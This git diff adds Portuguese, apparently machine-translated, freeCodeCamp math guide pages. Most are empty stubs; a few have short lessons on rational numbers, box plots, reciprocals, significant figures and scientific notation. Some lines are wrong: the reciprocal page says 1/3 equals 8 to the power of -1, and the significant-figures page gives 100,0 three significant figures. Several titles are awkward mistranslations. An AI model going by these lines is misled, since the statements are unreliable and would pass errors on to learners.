diff --git a/client/src/guide/portuguese/mathematics/radicals-rationalizing-the-denominator/index.md b/client/src/guide/portuguese/mathematics/radicals-rationalizing-the-denominator/index.md
new file mode 100644
index 0000000000..b5190d3664
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/radicals-rationalizing-the-denominator/index.md
@@ -0,0 +1,11 @@
+---
+title: Radicals Rationalizing the Denominator
+localeTitle: Radicais Racionalizando o Denominador
+---
+## Radicais Racionalizando o Denominador
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radicals-rationalizing-the-denominator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/radius-diameter-circumference/index.md b/client/src/guide/portuguese/mathematics/radius-diameter-circumference/index.md
new file mode 100644
index 0000000000..4e7d4e05b5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/radius-diameter-circumference/index.md
@@ -0,0 +1,11 @@
+---
+title: Radius Diameter Circumference
+localeTitle: Circunferência do Diâmetro do Raio
+---
+## Circunferência do Diâmetro do Raio
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radius-diameter-circumference/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/rational-numbers/index.md b/client/src/guide/portuguese/mathematics/rational-numbers/index.md
new file mode 100644
index 0000000000..9044313e2f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/rational-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Rational Numbers
+localeTitle: Números racionais
+---
+## Números racionais
+
+Um número racional é qualquer número que pode ser escrito como uma fração de dois inteiros. _10/5_ é uma fração, e é igual a 2. _8/3_ é uma fração, e é igual a 2,66666 (onde 6 repetem infinitamente muitas vezes). Como qualquer inteiro pode ser usado para expressar uma fração, todos os inteiros também são racionais. Como vimos, 2 poderia ser escrito como _10/5_ , mas também pode ser escrito como _2/1_ . Como qualquer inteiro **n** pode ser escrito como **_n_** / 1, todos os inteiros são racionais. Porque um número racional tem de ser escrito como uma fracção de 2 inteiros, _pi_ e _e_ não são racionais, como eles não podem ser expressas como fracções com números inteiros.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/ratios/index.md b/client/src/guide/portuguese/mathematics/ratios/index.md
new file mode 100644
index 0000000000..37b85849a7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/ratios/index.md
@@ -0,0 +1,11 @@
+---
+title: Ratios
+localeTitle: Índices
+---
+## Índices
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/ratios/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/reading-box-plots/index.md b/client/src/guide/portuguese/mathematics/reading-box-plots/index.md
new file mode 100644
index 0000000000..9df058304e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/reading-box-plots/index.md
@@ -0,0 +1,34 @@
+---
+title: Reading Box Plots
+localeTitle: Lotes de caixas de leitura
+---
+## Lotes de caixas de leitura
+
+Os Box Plots podem parecer pouco intuitivos à primeira vista, mas são uma ótima maneira de transmitir muitas informações de um formato compacto. Veja como você pode ler as informações contidas em um Box Plot:
+
+![BoxPlotExample](https://github.com/viso-gio/HostedImages/blob/master/Boxplot.jpg?raw=true)
+
+O Box Plot tem vários elementos que podemos reconhecer:
+
+*   A caixa, que é dividida em duas partes
+*   Dois bigodes, acima e abaixo da caixa
+*   Possivelmente alguns pontos dispersos: os outliers
+
+Cada seção do box plot representa o intervalo de um quartil da população de dados. Isso significa que 25% dos dados estão dentro das duas extremidades do bigode inferior, 25% dentro do intervalo da parte inferior da caixa e da linha mediana, 25% na mediana e na parte superior da caixa, e 25% no bigode superior. Qualquer outlier estatístico é representado como um ponto fora da caixa.
+
+No exemplo acima, teríamos (usando valores numéricos aproximados):
+
+*   um quarto dos dados entre 1 e 3 (whisker inferior)
+*   um quarto dos dados entre 3 e 5 (parte inferior da caixa)
+*   um quarto dos dados entre 5 e 7,5 (parte superior da caixa)
+*   um quarto dos dados entre 7,5 e 10 (bigode superior)
+*   dois pontos discrepantes acima do boxplot
+
+Observe que a linha que divide a caixa representa a **mediana** (percentil 50) e **não a média** .
+
+#### Mais Informações:
+
+Para mais informações:
+
+*   [Wikipedia: Box Plot](https://en.wikipedia.org/wiki/Box_plot)
+*   [Khan Academy: lendo Box Plots (vídeo)](https://www.khanacademy.org/math/probability/data-distributions-a1/box--whisker-plots-a1/v/interpreting-box-plots)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/real-numbers/index.md b/client/src/guide/portuguese/mathematics/real-numbers/index.md
new file mode 100644
index 0000000000..6a451a091d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/real-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Real Numbers
+localeTitle: Numeros reais
+---
+## Numeros reais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/real-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/reciprocal/index.md b/client/src/guide/portuguese/mathematics/reciprocal/index.md
new file mode 100644
index 0000000000..a1fc060fc1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/reciprocal/index.md
@@ -0,0 +1,37 @@
+---
+title: Reciprocal
+localeTitle: Recíproca
+---
+## Recíproca
+
+O **recíproco** de um número é 1 dividido por esse número.
+
+#### Exemplo
+
+O recíproco de 3 é 1 ⁄ 3
+
+Um **recíproco** também pode ser definido como um número levado ao poder de -1.
+
+#### Exemplo
+
+1 ⁄ 3 é o mesmo que 8 para o poder de -1.
+
+Você também pode ter uma recíproca de uma fração invertendo a fração. Por exemplo, recíproco de 2 ⁄ 3 é 3 ⁄ 2 .
+
+### Nota
+
+1.  Recíproco de um recíproco é o número original.
+
+#### Exemplo
+
+Recíproca de 23 é 1 ⁄ 23 . Agora, se tomarmos o recíproco de 1 ⁄ 23 e filp a fração, obtemos 23 ⁄ 1, que é o número original.
+
+2.  Se você multiplicar um número por seu recíproco, você sempre obterá 1.
+
+#### Exemplo
+
+Recíproco de 16 é 1 ⁄ 16 . Se você multiplicar 1 ⁄ 16 com 16, você recebe 1.
+
+3.  Zero não tem um recíproco
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/related-rates-falling-ladder/index.md b/client/src/guide/portuguese/mathematics/related-rates-falling-ladder/index.md
new file mode 100644
index 0000000000..f092f743ed
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/related-rates-falling-ladder/index.md
@@ -0,0 +1,11 @@
+---
+title: Related Rates Falling Ladder
+localeTitle: Escala de queda de taxas relacionadas
+---
+## Escala de queda de taxas relacionadas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/related-rates-falling-ladder/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/antisymmetry/index.md b/client/src/guide/portuguese/mathematics/relations/antisymmetry/index.md
new file mode 100644
index 0000000000..0e3ea70bc1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/antisymmetry/index.md
@@ -0,0 +1,11 @@
+---
+title: Antisymmetry
+localeTitle: Antisimetría
+---
+## Antisimetría
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/antisymmetry/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/cartesian-product/index.md b/client/src/guide/portuguese/mathematics/relations/cartesian-product/index.md
new file mode 100644
index 0000000000..f89af195c2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/cartesian-product/index.md
@@ -0,0 +1,11 @@
+---
+title: Cartesian Product
+localeTitle: Produto cartesiano
+---
+## Produto cartesiano
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/cartesian-product/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/composite-relations-matrices/index.md b/client/src/guide/portuguese/mathematics/relations/composite-relations-matrices/index.md
new file mode 100644
index 0000000000..27a2408a66
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/composite-relations-matrices/index.md
@@ -0,0 +1,11 @@
+---
+title: Composite Relations Matrices
+localeTitle: Matrizes de Relações Compostas
+---
+## Matrizes de Relações Compostas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/composite-relations-matrices/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/composite-relations/index.md b/client/src/guide/portuguese/mathematics/relations/composite-relations/index.md
new file mode 100644
index 0000000000..af52283f91
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/composite-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Composite Relations
+localeTitle: Relações compostas
+---
+## Relações compostas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/composite-relations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/directed-graphs-of-relations/index.md b/client/src/guide/portuguese/mathematics/relations/directed-graphs-of-relations/index.md
new file mode 100644
index 0000000000..98bf83dbe6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/directed-graphs-of-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Directed Graphs of Relations
+localeTitle: Gráficos Dirigidos de Relações
+---
+## Gráficos Dirigidos de Relações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/directed-graphs-of-relations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/graphs-of-relations/index.md b/client/src/guide/portuguese/mathematics/relations/graphs-of-relations/index.md
new file mode 100644
index 0000000000..bf6d1fa93e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/graphs-of-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphs of Relations
+localeTitle: Gráficos de Relações
+---
+## Gráficos de Relações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/graphs-of-relations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/index.md b/client/src/guide/portuguese/mathematics/relations/index.md
new file mode 100644
index 0000000000..d3d4720df9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Relations
+localeTitle: Relações
+---
+## Relações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/inverse-relations/index.md b/client/src/guide/portuguese/mathematics/relations/inverse-relations/index.md
new file mode 100644
index 0000000000..316d42d0d2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/inverse-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Relations
+localeTitle: Relações inversas
+---
+## Relações inversas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/inverse-relations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/powerset/index.md b/client/src/guide/portuguese/mathematics/relations/powerset/index.md
new file mode 100644
index 0000000000..8d6042b4df
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/powerset/index.md
@@ -0,0 +1,11 @@
+---
+title: Powerset
+localeTitle: Conjunto de força
+---
+## Conjunto de força
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/powerset/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/reflexivity/index.md b/client/src/guide/portuguese/mathematics/relations/reflexivity/index.md
new file mode 100644
index 0000000000..43f5aaf09f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/reflexivity/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflexivity
+localeTitle: Reflexividade
+---
+## Reflexividade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/reflexivity/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relations/symmetry/index.md b/client/src/guide/portuguese/mathematics/relations/symmetry/index.md
new file mode 100644
index 0000000000..c16229d174
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relations/symmetry/index.md
@@ -0,0 +1,11 @@
+---
+title: Symmetry
+localeTitle: Simetria
+---
+## Simetria
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relations/symmetry/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/relative-frequency/index.md b/client/src/guide/portuguese/mathematics/relative-frequency/index.md
new file mode 100644
index 0000000000..3dcbba7858
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/relative-frequency/index.md
@@ -0,0 +1,11 @@
+---
+title: Relative Frequency
+localeTitle: Frequência relativa
+---
+## Frequência relativa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/relative-frequency/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md b/client/src/guide/portuguese/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md
new file mode 100644
index 0000000000..8b8840e5a8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Rewriting Improper Fractions as Mixed Numbers
+localeTitle: Reescrevendo frações impróprias como números mistos
+---
+## Reescrevendo frações impróprias como números mistos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rewriting-improper-fractions-as-mixed-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/rewriting-tricky-fractions-to-decimals/index.md b/client/src/guide/portuguese/mathematics/rewriting-tricky-fractions-to-decimals/index.md
new file mode 100644
index 0000000000..ae4c0a1f69
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/rewriting-tricky-fractions-to-decimals/index.md
@@ -0,0 +1,11 @@
+---
+title: Rewriting Tricky Fractions to Decimals
+localeTitle: Reescrevendo Frações Difíceis em Decimais
+---
+## Reescrevendo Frações Difíceis em Decimais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rewriting-tricky-fractions-to-decimals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/rhombus/index.md b/client/src/guide/portuguese/mathematics/rhombus/index.md
new file mode 100644
index 0000000000..184f2280a2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/rhombus/index.md
@@ -0,0 +1,11 @@
+---
+title: Rhombus
+localeTitle: Losango
+---
+## Losango
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rhombus/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/roman-numerals/index.md b/client/src/guide/portuguese/mathematics/roman-numerals/index.md
new file mode 100644
index 0000000000..840b8f4562
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/roman-numerals/index.md
@@ -0,0 +1,11 @@
+---
+title: Roman Numerals
+localeTitle: Números romanos
+---
+## Números romanos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/roman-numerals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/rounding-and-significant-digits/index.md b/client/src/guide/portuguese/mathematics/rounding-and-significant-digits/index.md
new file mode 100644
index 0000000000..e6d2e92f86
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/rounding-and-significant-digits/index.md
@@ -0,0 +1,11 @@
+---
+title: Rounding and Significant Digits
+localeTitle: Arredondamento e Dígitos Significativos
+---
+## Arredondamento e Dígitos Significativos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/rounding-and-significant-digits/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/rules-of-significant-figures/index.md b/client/src/guide/portuguese/mathematics/rules-of-significant-figures/index.md
new file mode 100644
index 0000000000..5a3ab82079
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/rules-of-significant-figures/index.md
@@ -0,0 +1,30 @@
+---
+title: Rules of Significant Figures
+localeTitle: Regras de figuras significativas
+---
+## Regras de figuras significativas
+
+Figuras significativas de um número são todos os dígitos que carregam significado para a representação final de uma medida. Eles representam a precisão da medição.
+
+As regras para descobrir quais dígitos de um número são números significativos:
+
+*   Todos os dígitos diferentes de zero são significativos
+*   Todos os zeros entre dígitos não seros são significativos: 202, 2002, 20002
+*   Zeros à esquerda não são significativos
+*   Em um número decimal, todos os zeros à direita representam precisão e, portanto, são significativos
+*   Em um número não decimal, se houver um "." no final, todas as figuras à esquerda são significativas (exceto zeros à esquerda)
+
+#### Exemplos:
+
+*   0,05400 tem \[4\] sig figos: 5, 4, 0 e 0
+*   0.0054090 tem \[5\] sig figos: 5, 4, 0, 9 e 0
+*   100 tem \[1\] sig fig: 1
+*   100,0 tem \[3\] sig figos: 1, 0 e 0
+*   Mais Informações:
+
+### Mais Informações
+
+*   [artigo da wikipedia](https://en.wikipedia.org/wiki/Significant_figures)
+*   [Vídeo da Khan Academy sobre sig figos](https://www.khanacademy.org/math/arithmetic-home/arith-review-decimals/arithmetic-significant-figures-tutorial/v/significant-figures)
+*   [Guia de Purplemath para sig figos](https://www.purplemath.com/modules/rounding2.htm)
+*   [bacana pequena calculadora fig figo](https://www.omnicalculator.com/math/sig-fig)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/scalar-and-matrix-multiplication/index.md b/client/src/guide/portuguese/mathematics/scalar-and-matrix-multiplication/index.md
new file mode 100644
index 0000000000..68acf18c57
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/scalar-and-matrix-multiplication/index.md
@@ -0,0 +1,11 @@
+---
+title: Scalar and Matrix Multiplication
+localeTitle: Multiplicação Escalar e Matriz
+---
+## Multiplicação Escalar e Matriz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/scalar-and-matrix-multiplication/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/scientific-notation-examples/index.md b/client/src/guide/portuguese/mathematics/scientific-notation-examples/index.md
new file mode 100644
index 0000000000..32c952e433
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/scientific-notation-examples/index.md
@@ -0,0 +1,11 @@
+---
+title: Scientific Notation Examples
+localeTitle: Exemplos de Notação Científica
+---
+## Exemplos de Notação Científica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/scientific-notation-examples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/scientific-notation/index.md b/client/src/guide/portuguese/mathematics/scientific-notation/index.md
new file mode 100644
index 0000000000..7c6a45cbca
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/scientific-notation/index.md
@@ -0,0 +1,26 @@
+---
+title: Scientific Notation
+localeTitle: Notação científica
+---
+## Notação científica
+
+A notação científica é uma maneira de escrever números muito grandes / pequenos para lidar mais facilmente com eles na computação.
+
+Podemos pensar em um número em notação científica sendo composto por um "termo de dígito" e um "termo exponencial"
+
+O termo do dígito contém os números significativos do número. O termo do dígito deve ser um número entre 1 e 10. O termo exponencial contém os zeros de espaço reservado e localiza onde o decimal é colocado. Se o termo exponencial tiver um expoente negativo, isso significa que o número é menor que um e que o ponto decimal deve ser movido um certo número de espaços para a esquerda. Enquanto um número exponencial positivo significa que o número é muito grande e o ponto decimal deve ser movido para a direita.
+
+#### Exemplo:
+
+545.000.000.000 escritos em notação científica: 5,45 x 10 ^ 11
+
+0,0000000000030435 = 3,0435 x 10 ^ -12
+
+10 = 1,0 x 10 ^ 1
+
+1 = 1,0 x 10 ^ 0
+
+#### Mais Informações:
+
+*   [Ótimo artigo incluindo aritmética em notação científica](https://www.chem.tamu.edu/class/fyp/mathrev/mr-scnot.html)
+*   [artigo da wikipedia](https://en.wikipedia.org/wiki/Scientific_notation)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/sectors-areas-and-arcs/index.md b/client/src/guide/portuguese/mathematics/sectors-areas-and-arcs/index.md
new file mode 100644
index 0000000000..cfe0a89151
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/sectors-areas-and-arcs/index.md
@@ -0,0 +1,11 @@
+---
+title: Sectors Areas and Arcs
+localeTitle: Áreas de Setores e Arcos
+---
+## Áreas de Setores e Arcos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sectors-areas-and-arcs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/set-builder-notation/index.md b/client/src/guide/portuguese/mathematics/set-builder-notation/index.md
new file mode 100644
index 0000000000..e034484156
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/set-builder-notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Set Builder Notation
+localeTitle: Definir Notação do Construtor
+---
+## Definir Notação do Construtor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/set-builder-notation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/sigma-notation/index.md b/client/src/guide/portuguese/mathematics/sigma-notation/index.md
new file mode 100644
index 0000000000..6fd243ab5d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/sigma-notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Sigma Notation
+localeTitle: Notação Sigma
+---
+## Notação Sigma
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sigma-notation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/significant-figures/index.md b/client/src/guide/portuguese/mathematics/significant-figures/index.md
new file mode 100644
index 0000000000..f3bd8c3e47
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/significant-figures/index.md
@@ -0,0 +1,11 @@
+---
+title: Significant Figures
+localeTitle: Figuras Significativas
+---
+## Figuras Significativas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/significant-figures/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/simplify-fractions/index.md b/client/src/guide/portuguese/mathematics/simplify-fractions/index.md
new file mode 100644
index 0000000000..b32e64974f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/simplify-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplify Fractions
+localeTitle: Simplifique Frações
+---
+## Simplifique Frações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplify-fractions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/simplifying-exponent-expressions/index.md b/client/src/guide/portuguese/mathematics/simplifying-exponent-expressions/index.md
new file mode 100644
index 0000000000..c164c1dd26
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/simplifying-exponent-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplifying Exponent Expressions
+localeTitle: Simplificando expressões exponentes
+---
+## Simplificando expressões exponentes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplifying-exponent-expressions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/simplifying-expressions/index.md b/client/src/guide/portuguese/mathematics/simplifying-expressions/index.md
new file mode 100644
index 0000000000..15c8da5629
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/simplifying-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplifying Expressions
+localeTitle: Simplificando Expressões
+---
+## Simplificando Expressões
+
